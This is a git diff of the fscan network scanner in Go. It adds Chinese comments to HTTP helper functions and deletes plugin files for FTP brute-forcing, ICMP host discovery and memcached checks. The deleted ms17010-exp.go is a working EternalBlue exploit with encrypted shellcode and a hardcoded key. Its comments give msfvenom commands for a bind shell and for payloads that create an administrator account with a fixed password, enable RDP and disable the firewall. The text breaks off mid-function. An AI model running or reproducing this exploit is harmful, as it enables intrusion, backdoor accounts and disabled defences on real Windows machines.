读取HTTP响应体内容 func getRespBody(oResp *http.Response) ([]byte, error) { var body []byte + + // 处理gzip压缩的响应 if oResp.Header.Get("Content-Encoding") == "gzip" { gr, err := gzip.NewReader(oResp.Body) if err != nil { return nil, err } defer gr.Close() + + // 循环读取解压内容 for { buf := make([]byte, 1024) n, err := gr.Read(buf) @@ -192,6 +234,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { body = append(body, buf...) } } else { + // 直接读取未压缩的响应 raw, err := io.ReadAll(oResp.Body) if err != nil { return nil, err @@ -201,30 +244,41 @@ func getRespBody(oResp *http.Response) ([]byte, error) { return body, nil } +// gettitle 从HTML内容中提取网页标题 func gettitle(body []byte) (title string) { + // 使用正则表达式匹配title标签内容 re := regexp.MustCompile("(?ims)(.*?)") find := re.FindSubmatch(body) + if len(find) > 1 { title = string(find[1]) - title = strings.TrimSpace(title) - title = strings.Replace(title, "\n", "", -1) - title = strings.Replace(title, "\r", "", -1) - title = strings.Replace(title, " ", " ", -1) + + // 清理标题内容 + title = strings.TrimSpace(title) // 去除首尾空格 + title = strings.Replace(title, "\n", "", -1) // 去除换行 + title = strings.Replace(title, "\r", "", -1) // 去除回车 + title = strings.Replace(title, " ", " ", -1) // 替换HTML空格 + + // 截断过长的标题 if len(title) > 100 { title = title[:100] } + + // 处理空标题 if title == "" { - title = "\"\"" //空格 + title = "\"\"" // 空标题显示为双引号 } } else { - title = "None" //没有title + title = "无标题" // 没有找到title标签 } return } +// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS) func GetProtocol(host string, Timeout int64) (protocol string) { protocol = "http" - //如果端口是80或443,跳过Protocol判断 + + // 根据标准端口快速判断协议 if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { return } else if strings.HasSuffix(host, ":443") { @@ -232,25 +286,38 @@ func GetProtocol(host string, Timeout int64) (protocol string) { return } - socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) + // 尝试建立TCP连接 + socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) if err != nil { return } - conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}) + + // 尝试TLS握手 + conn := tls.Client(socksconn, &tls.Config{ + MinVersion: tls.VersionTLS10, + InsecureSkipVerify: true, + }) + + // 确保连接关闭 defer func() { if conn != nil { defer func() { if err := recover(); err != nil { - common.LogError(err) + Common.LogError(err) } }() conn.Close() } }() + + // 设置连接超时 conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second)) + + // 执行TLS握手 err = conn.Handshake() if err == nil || strings.Contains(err.Error(), "handshake failure") { protocol = "https" } + return protocol } diff --git a/Plugins/base.go b/Plugins/base.go deleted file mode 100644 index 36a206c5..00000000 --- a/Plugins/base.go +++ /dev/null @@ -1,105 +0,0 @@ -package Plugins - -import ( - "bytes" - "crypto/aes" - "crypto/cipher" - "encoding/base64" - "net" -) - -var PluginList = map[string]interface{}{ - "21": FtpScan, - "22": SshScan, - "135": Findnet, - "139": NetBIOS, - "445": SmbScan, - "1433": MssqlScan, - "1521": OracleScan, - "3306": MysqlScan, - "3389": RdpScan, - "5432": PostgresScan, - "6379": RedisScan, - "9000": FcgiScan, - "11211": MemcachedScan, - "27017": MongodbScan, - "1000001": MS17010, - "1000002": SmbGhost, - "1000003": WebTitle, - "1000004": SmbScan2, - "1000005": WmiExec, -} - -func ReadBytes(conn net.Conn) (result []byte, err error) { - size := 4096 - buf := make([]byte, size) - for { - count, err := conn.Read(buf) - if err != nil { - break - } - result = append(result, buf[0:count]...) - if count < size { - break - } - } - if len(result) > 0 { - err = nil - } - return result, err -} - -var key = "0123456789abcdef" - -func AesEncrypt(orig string, key string) string { - // 转成字节数组 - origData := []byte(orig) - k := []byte(key) - // 分组秘钥 - // NewCipher该函数限制了输入k的长度必须为16, 24或者32 - block, _ := aes.NewCipher(k) - // 获取秘钥块的长度 - blockSize := block.BlockSize() - // 补全码 - origData = PKCS7Padding(origData, blockSize) - // 加密模式 - blockMode := cipher.NewCBCEncrypter(block, k[:blockSize]) - // 创建数组 - cryted := make([]byte, len(origData)) - // 加密 - blockMode.CryptBlocks(cryted, origData) - return base64.StdEncoding.EncodeToString(cryted) -} -func AesDecrypt(cryted string, key string) string { - // 转成字节数组 - crytedByte, _ := base64.StdEncoding.DecodeString(cryted) - k := []byte(key) - // 分组秘钥 - block, _ := aes.NewCipher(k) - // 获取秘钥块的长度 - blockSize := block.BlockSize() - // 加密模式 - blockMode := cipher.NewCBCDecrypter(block, k[:blockSize]) - // 创建数组 - orig := make([]byte, len(crytedByte)) - // 解密 - blockMode.CryptBlocks(orig, crytedByte) - // 去补全码 - orig = PKCS7UnPadding(orig) - return string(orig) -} - -// 补码 -// AES加密数据块分组长度必须为128bit(byte[16]),密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。 -func PKCS7Padding(ciphertext []byte, blocksize int) []byte { - padding := blocksize - len(ciphertext)%blocksize - padtext := bytes.Repeat([]byte{byte(padding)}, padding) - return append(ciphertext, padtext...) -} - -// 去码 -func PKCS7UnPadding(origData []byte) []byte { - length := len(origData) - unpadding := int(origData[length-1]) - return origData[:(length - unpadding)] -} diff --git a/Plugins/findnet.go b/Plugins/findnet.go deleted file mode 100644 index 6787a954..00000000 --- a/Plugins/findnet.go +++ /dev/null @@ -1,123 +0,0 @@ -package Plugins - -import ( - "bytes" - "encoding/hex" - "fmt" - "github.com/shadow1ng/fscan/common" - "strconv" - "strings" - "time" -) - -var ( - bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") - bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") - bufferV3, _ = hex.DecodeString("0900ffff0000") -) - -func Findnet(info *common.HostInfo) error { - err := FindnetScan(info) - return err -} - -func FindnetScan(info *common.HostInfo) error { - realhost := fmt.Sprintf("%s:%v", info.Host, 135) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) - if err != nil { - return err - } - defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err != nil { - return err - } - _, err = conn.Write(bufferV1) - if err != nil { - return err - } - reply := make([]byte, 4096) - _, err = conn.Read(reply) - if err != nil { - return err - } - _, err = conn.Write(bufferV2) - if err != nil { - return err - } - if n, err := conn.Read(reply); err != nil || n < 42 { - return err - } - text := reply[42:] - flag := true - for i := 0; i < len(text)-5; i++ { - if bytes.Equal(text[i:i+6], bufferV3) { - text = text[:i-4] - flag = false - break - } - } - if flag { - return err - } - err = read(text, info.Host) - return err -} - -func HexUnicodeStringToString(src string) string { - sText := "" - if len(src)%4 != 0 { - src += src[:len(src)-len(src)%4] - } - for i := 0; i < len(src); i = i + 4 { - sText += "\\u" + src[i+2:i+4] + src[i:i+2] - } - - textUnquoted := sText - sUnicodev := strings.Split(textUnquoted, "\\u") - var context string - for _, v := range sUnicodev { - if len(v) < 1 { - continue - } - temp, err := strconv.ParseInt(v, 16, 32) - if err != nil { - return "" - } - context += fmt.Sprintf("%c", temp) - } - return context -} - -func read(text []byte, host string) error { - encodedStr := hex.EncodeToString(text) - - hn := "" - for i := 0; i < len(encodedStr)-4; i = i + 4 { - if encodedStr[i:i+4] == "0000" { - break - } - hn += encodedStr[i : i+4] - } - - var name string - name = HexUnicodeStringToString(hn) - - hostnames := strings.Replace(encodedStr, "0700", "", -1) - hostname := strings.Split(hostnames, "000000") - result := "[*] NetInfo \n[*]" + host - if name != "" { - result += "\n [->]" + name - } - hostname = hostname[1:] - for i := 0; i < len(hostname); i++ { - hostname[i] = strings.Replace(hostname[i], "00", "", -1) - host, err := hex.DecodeString(hostname[i]) - if err != nil { - return err - } - result += "\n [->]" + string(host) - } - common.LogSuccess(result) - return nil -} diff --git a/Plugins/ftp.go b/Plugins/ftp.go deleted file mode 100644 index 58d03789..00000000 --- a/Plugins/ftp.go +++ /dev/null @@ -1,79 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/jlaffaye/ftp" - "github.com/shadow1ng/fscan/common" - "strings" - "time" -) - -func FtpScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return - } - starttime := time.Now().Unix() - flag, err := FtpConn(info, "anonymous", "") - if flag && err == nil { - return err - } else { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - } - - for _, user := range common.Userdict["ftp"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - flag, err := FtpConn(info, user, pass) - if flag && err == nil { - return err - } else { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - } - } - return tmperr -} - -func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) - if err == nil { - err = conn.Login(Username, Password) - if err == nil { - flag = true - result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) - dirs, err := conn.List("") - //defer conn.Logout() - if err == nil { - if len(dirs) > 0 { - for i := 0; i < len(dirs); i++ { - if len(dirs[i].Name) > 50 { - result += "\n [->]" + dirs[i].Name[:50] - } else { - result += "\n [->]" + dirs[i].Name - } - if i == 5 { - break - } - } - } - } - common.LogSuccess(result) - } - } - return flag, err -} diff --git a/Plugins/icmp.go b/Plugins/icmp.go deleted file mode 100644 index 36acc14a..00000000 --- a/Plugins/icmp.go +++ /dev/null @@ -1,310 +0,0 @@ -package Plugins - -import ( - "bytes" - "fmt" - "github.com/shadow1ng/fscan/common" - "golang.org/x/net/icmp" - "net" - "os/exec" - "runtime" - "strings" - "sync" - "time" -) - -var ( - AliveHosts []string - ExistHosts = make(map[string]struct{}) - livewg sync.WaitGroup -) - -func CheckLive(hostslist []string, Ping bool) []string { - chanHosts := make(chan string, len(hostslist)) - go func() { - for ip := range chanHosts { - if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { - ExistHosts[ip] = struct{}{} - if common.Silent == false { - if Ping == false { - fmt.Printf("(icmp) Target %-15s is alive\n", ip) - } else { - fmt.Printf("(ping) Target %-15s is alive\n", ip) - } - } - AliveHosts = append(AliveHosts, ip) - } - livewg.Done() - } - }() - - if Ping == true { - //使用ping探测 - RunPing(hostslist, chanHosts) - } else { - //优先尝试监听本地icmp,批量探测 - conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") - if err == nil { - RunIcmp1(hostslist, conn, chanHosts) - } else { - common.LogError(err) - //尝试无监听icmp探测 - fmt.Println("trying RunIcmp2") - conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) - defer func() { - if conn != nil { - conn.Close() - } - }() - if err == nil { - RunIcmp2(hostslist, chanHosts) - } else { - common.LogError(err) - //使用ping探测 - fmt.Println("The current user permissions unable to send icmp packets") - fmt.Println("start ping") - RunPing(hostslist, chanHosts) - } - } - } - - livewg.Wait() - close(chanHosts) - - if len(hostslist) > 1000 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true) - for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i]) - common.LogSuccess(output) - } - } - if len(hostslist) > 256 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false) - for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i]) - common.LogSuccess(output) - } - } - - return AliveHosts -} - -func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) { - endflag := false - go func() { - for { - if endflag == true { - return - } - msg := make([]byte, 100) - _, sourceIP, _ := conn.ReadFrom(msg) - if sourceIP != nil { - livewg.Add(1) - chanHosts <- sourceIP.String() - } - } - }() - - for _, host := range hostslist { - dst, _ := net.ResolveIPAddr("ip", host) - IcmpByte := makemsg(host) - conn.WriteTo(IcmpByte, dst) - } - //根据hosts数量修改icmp监听时间 - start := time.Now() - for { - if len(AliveHosts) == len(hostslist) { - break - } - since := time.Since(start) - var wait time.Duration - switch { - case len(hostslist) <= 256: - wait = time.Second * 3 - default: - wait = time.Second * 6 - } - if since > wait { - break - } - } - endflag = true - conn.Close() -} - -func RunIcmp2(hostslist []string, chanHosts chan string) { - num := 1000 - if len(hostslist) < num { - num = len(hostslist) - } - var wg sync.WaitGroup - limiter := make(chan struct{}, num) - for _, host := range hostslist { - wg.Add(1) - limiter <- struct{}{} - go func(host string) { - if icmpalive(host) { - livewg.Add(1) - chanHosts <- host - } - <-limiter - wg.Done() - }(host) - } - wg.Wait() - close(limiter) -} - -func icmpalive(host string) bool { - startTime := time.Now() - conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second) - if err != nil { - return false - } - defer conn.Close() - if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { - return false - } - msg := makemsg(host) - if _, err := conn.Write(msg); err != nil { - return false - } - - receive := make([]byte, 60) - if _, err := conn.Read(receive); err != nil { - return false - } - - return true -} - -func RunPing(hostslist []string, chanHosts chan string) { - var wg sync.WaitGroup - limiter := make(chan struct{}, 50) - for _, host := range hostslist { - wg.Add(1) - limiter <- struct{}{} - go func(host string) { - if ExecCommandPing(host) { - livewg.Add(1) - chanHosts <- host - } - <-limiter - wg.Done() - }(host) - } - wg.Wait() -} - -func ExecCommandPing(ip string) bool { - var command *exec.Cmd - switch runtime.GOOS { - case "windows": - command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" - case "darwin": - command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" - default: //linux - command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" - } - outinfo := bytes.Buffer{} - command.Stdout = &outinfo - err := command.Start() - if err != nil { - return false - } - if err = command.Wait(); err != nil { - return false - } else { - if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 { - return true - } else { - return false - } - } -} - -func makemsg(host string) []byte { - msg := make([]byte, 40) - id0, id1 := genIdentifier(host) - msg[0] = 8 - msg[1] = 0 - msg[2] = 0 - msg[3] = 0 - msg[4], msg[5] = id0, id1 - msg[6], msg[7] = genSequence(1) - check := checkSum(msg[0:40]) - msg[2] = byte(check >> 8) - msg[3] = byte(check & 255) - return msg -} - -func checkSum(msg []byte) uint16 { - sum := 0 - length := len(msg) - for i := 0; i < length-1; i += 2 { - sum += int(msg[i])*256 + int(msg[i+1]) - } - if length%2 == 1 { - sum += int(msg[length-1]) * 256 - } - sum = (sum >> 16) + (sum & 0xffff) - sum = sum + (sum >> 16) - answer := uint16(^sum) - return answer -} - -func genSequence(v int16) (byte, byte) { - ret1 := byte(v >> 8) - ret2 := byte(v & 255) - return ret1, ret2 -} - -func genIdentifier(host string) (byte, byte) { - return host[0], host[1] -} - -func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) { - if len(arrInit) == 0 { - return - } - arrMap1 := make(map[string]int) - arrMap2 := make(map[string]int) - for _, value := range arrInit { - line := strings.Split(value, ".") - if len(line) == 4 { - if flag { - value = fmt.Sprintf("%s.%s", line[0], line[1]) - } else { - value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2]) - } - } - if arrMap1[value] != 0 { - arrMap1[value]++ - } else { - arrMap1[value] = 1 - } - } - for k, v := range arrMap1 { - arrMap2[k] = v - } - - i := 0 - for range arrMap1 { - var maxCountKey string - var maxCountVal = 0 - for key, val := range arrMap2 { - if val > maxCountVal { - maxCountVal = val - maxCountKey = key - } - } - arrTop = append(arrTop, maxCountKey) - arrLen = append(arrLen, maxCountVal) - i++ - if i >= length { - return - } - delete(arrMap2, maxCountKey) - } - return -} diff --git a/Plugins/memcached.go b/Plugins/memcached.go deleted file mode 100644 index 361edc1f..00000000 --- a/Plugins/memcached.go +++ /dev/null @@ -1,38 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/shadow1ng/fscan/common" - "strings" - "time" -) - -func MemcachedScan(info *common.HostInfo) (err error) { - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) - defer func() { - if client != nil { - client.Close() - } - }() - if err == nil { - err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err == nil { - _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten - if err == nil { - rev := make([]byte, 1024) - n, err := client.Read(rev) - if err == nil { - if strings.Contains(string(rev[:n]), "STAT") { - result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost) - common.LogSuccess(result) - } - } else { - errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - } - } - } - } - return err -} diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go deleted file mode 100644 index f7615175..00000000 --- a/Plugins/ms17010-exp.go +++ /dev/null @@ -1,1107 +0,0 @@ -package Plugins - -import ( - "bytes" - "encoding/binary" - "encoding/hex" - "fmt" - "github.com/shadow1ng/fscan/common" - "io" - "io/ioutil" - "net" - "strings" - "time" -) - -func MS17010EXP(info *common.HostInfo) { - address := info.Host + ":445" - var sc string - switch common.SC { - case "bind": - //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex - sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" - sc = AesDecrypt(sc_enc, key) - case "cs": - //cs gen C shellcode -> fmt.Printf("%x", c) -> hex - sc = "" - case "add": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex - sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" - sc = AesDecrypt(sc_enc, key) - case "guest": - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user Guest /active:yes && net user Guest "1qaz@WSX!@#4" && net localgroup Administrators Guest /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex - sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" - sc = AesDecrypt(sc_enc, key) - default: - if strings.Contains(common.SC, "file:") { - read, err := ioutil.ReadFile(common.SC[5:]) - if err != nil { - errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err) - common.LogError(errlog) - return - } - sc = fmt.Sprintf("%x", read) - } else { - sc = common.SC - } - } - - if len(sc) < 20 { - fmt.Println("[-] no such sc") - return - } - - sc1, err := hex.DecodeString(sc) - if err != nil { - common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error()) - return - } - err = eternalBlue(address, 12, 12, sc1) - if err != nil { - common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error()) - return - } - common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end") -} - -func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { - // check sc size - const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 - l := len(sc) - if l > maxscSize { - //fmt.Println(maxscSize) - return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) - } - payload := makeKernelUserPayload(sc) - var ( - grooms int - err error - ) - for i := 0; i < maxAttempts; i++ { - grooms = initialGrooms + 5*i - err = exploit(address, grooms, payload) - if err == nil { - return nil - } - } - return err -} - -func exploit(address string, grooms int, payload []byte) error { - // connect host - header, conn, err := smb1AnonymousConnectIPC(address) - if err != nil { - return err - } - defer func() { _ = conn.Close() }() - // send SMB1 large buffer - _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - err = smb1LargeBuffer(conn, header) - if err != nil { - return err - } - // initialize groom threads - fhsConn, err := smb1FreeHole(address, true) - if err != nil { - return err - } - defer func() { _ = fhsConn.Close() }() - // groom socket - groomConns, err := smb2Grooms(address, grooms) - if err != nil { - return err - } - fhfConn, err := smb1FreeHole(address, false) - if err != nil { - return err - } - _ = fhsConn.Close() - // grooms - groomConns2, err := smb2Grooms(address, 6) - if err != nil { - return err - } - _ = fhfConn.Close() - groomConns = append(groomConns, groomConns2...) - defer func() { - for i := 0; i < len(groomConns); i++ { - _ = groomConns[i].Close() - } - }() - - //fmt.Println("Running final exploit packet") - err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - if err != nil { - return err - } - treeID := header.TreeID - userID := header.UserID - finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") - _, err = conn.Write(finalPacket) - if err != nil { - return fmt.Errorf("failed to send final exploit packet: %s", err) - } - raw, _, err := smb1GetResponse(conn) - if 